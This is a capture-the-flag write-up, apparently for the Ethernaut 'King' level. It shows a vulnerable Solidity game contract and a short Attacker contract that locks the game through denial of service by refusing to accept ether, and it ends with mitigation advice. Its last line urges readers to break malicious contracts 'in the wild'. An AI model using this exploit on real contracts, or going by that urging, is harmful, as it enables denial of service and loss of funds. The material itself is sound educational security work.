Requirements: basic knowledged of smart contracts, Remix IDE.
The challenge π
Prevent the owner of the contract from claiming kinship.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Studying King.sol
π©βπ«π¨βπ«
King
is a game that allows players to send ether in order to claim kinship and winning the balance in the contract as a prize, each new player needs to send an amount equal or greater than the previous, so basically this is a ponzi scheme.
The owner doesn't need to match the current prize to re-claim the kinship it only needs to send ether to the contract. Not very fair.
The contract keeps tracks of who is the owner and the current king.
The Hack π£π£
To break this unfair game we need to launch an Denial Of Service on king
to prevent the owner from claiming kinship.
Contrary to EOAs, transactions of ether to contracts are verified to check if the recipient can receive ether, if the contract does not have a mechanism to handle the incoming transaction the transaction reverts.
We will write a contract from which we will claim the kinship with no mechanism to receive ether so preventing the owner or any new player from playing this unfair game ever again.
contract Attacker {
error Attacker__CallFailed();
function attack(address _kingAddr) external payable {
(bool success,) = payable(_kingAddr).call{value: msg.value}("");
if(!success) revert Attacker__CallFailed();
}
}
attack
takes the address of King
and with call
send the ether to the game to claim the kinship.
Deploy Attacker
and call attack
with current prize
as msg.value
.
After the transaction is mined, verify who is the king:
await contract._king() // should return the address of `Attacker`
Submit the instance to complete the level.
Conclusion ππ
This game was easy to break because in a single transaction it performed multiple calls, receiving and pushing ether to the new king. Even though it was nice breaking it, is important to discuss a few safety mechanism to prevent malicious actors from breaking your contract or from poorly design contract that can cause an unintended DoS.
It is recommended to avoid batching calls in a single transaction if possible, and instead making the calls in separate transactions as shown in this withdrawal pattern. Always assume a call could fail and implement contract logic to handle those failed calls.
And if you see a malicious contract in the wild and you can break it, just do it!
Top comments (0)